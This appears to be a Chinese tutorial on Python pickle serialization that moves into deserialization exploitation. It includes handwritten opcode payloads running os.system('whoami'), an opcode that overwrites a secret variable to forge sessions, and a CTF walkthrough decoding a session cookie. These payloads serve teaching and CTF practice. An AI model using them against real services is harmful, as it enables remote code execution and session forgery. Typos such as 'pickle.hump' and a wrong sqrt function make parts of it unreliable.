Python pickle

• pickle在python中 实现对象结构的 序列化和反序列化
• python序列化（Pickling)是一个将python对象层次结构转换为 可以本地储存 或者 网络传输的 字节流的过程
• python反序列化(unpickling) 是将字节流还原为对象层次结构

数据序列化：就是把不能直接储存的数据 储存到磁盘中，从而延长生命周期

python 常用的系列化库：pickle和json

pickle模块可以将任意对象序列化成为二进制的字符串，并写入文件中，还可以从文件中读取并且转为写入时的类型

Pickle工作原理

由一串串独立的opcode（指令集）组成，我们可以通过手写opcode来构建

opcode

OpCode全称Operation Code（操作码）如十六进制数0x90

常用的opcode

参考链接

基础方法

序列化函数

pickle.hump(obj,file,[protocol])函数

接受三个参数，第一个参数包含要储存在文件中的对象，第二个参数事 以二进制形式写入时 所需文件时 获得的文件对象，第三个参数表示序列化协议

举个栗子：

opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system

(S'ls'

tR.

字节码为c，形式为c[moudle]\n[instance]\n，导入os.system。并将函数压入stack

字节码为(，向stack中压入一个MARK。字节码为S，示例化一个字符串对象'whoami'并将其压入stack

字节码为t，寻找栈中MARK，并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

字节码为.，程序结束，将栈顶元素os.system('ls')作为返回值

import

opcode=b'''cos
system
(S'whoami'
tR.'''

pockle.loads(opcode)

反序列化函数

pickle.load(file)函数

一个实例

举个栗子，简单看一下数据序列化的样子

参考文章

__getstate__函数

在序列化时调用，指定序列化 某些参数在反序列化时恢复参数

__setstate__函数

反序列化是配合 __getstate__函数调用

import pickle

class MyData:

    def __init__(self, x):

        self.x = x
        self.y = self.sqrt(x)

    def sqrt(self,x):
        return x**x

    def __getstate__(self):
        self.state = "ok"
        print("enter getstate")
        #  self.__dict__存储关于self.xxx的一些东西
        odict = self.__dict__.copy()
        del odict['y']
        print(odict)
        return odict

    def __setstate__(self, input):
        print("enter setstate")
        print(input)
        self.x = input['x']
        self.y = self.sqrt(self.x)

obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化结果", loaded.y)

__reduce__方法

用于对象的序列化，如果 __reduce__方法存在的话，pickle模块会调用对象的 __reduce__方法

__reduce__方法返回一个元组，包含两个元素：一个callable和一个包含传递callable参数的元组，callable通常是一个函数或者类的构造函数

import pickle

class MyClass:
    def __init__(self, value):
        self.value = value

    def __reduce__(self):
        # 返回一个元组，包含两个元素：
        # 1. 一个callable，用于从pickle状态重建对象
        # 2. 一个元组，包含传递给callable的参数
        return (self.__class__, (self.value,))

# 创建一个对象
obj = MyClass(42)

# 序列化对象
serialized_obj = pickle.dumps(obj)

# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)

# 输出反序列化后的对象
print(deserialized_obj.value)  # 输出: 42

参考教程

Pickle反序列化漏洞

当我们反序列化一串未知的二进制字节流时，可能会引发恶意的代码执行，因为无法确定该二进制字符串是否是恶意代码

命令执行

手写opcode构造payload，达到一次实现多个命令的结果

import pickle
 
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
 
#结果如下
xiaoh\34946
xiaoh\34946

实例化对象

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name
 
 
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
 
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle

变量覆盖

在session和token中，常常储存了一些用户信息，因此我们可以通过变量覆盖实现身份伪造，伪造token和session

#secret.py
secret="This is a key"

import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)
 
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

[watevrCTF-2019]Pickle Store

伪造session

#coding:utf8
import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)	#使用b'...'是为了确保处理的是二进制数据

当尝试买了个十块钱的东西后，cookie发生了变化

hmac验证，利用反弹shell

cat flag.txt得到flag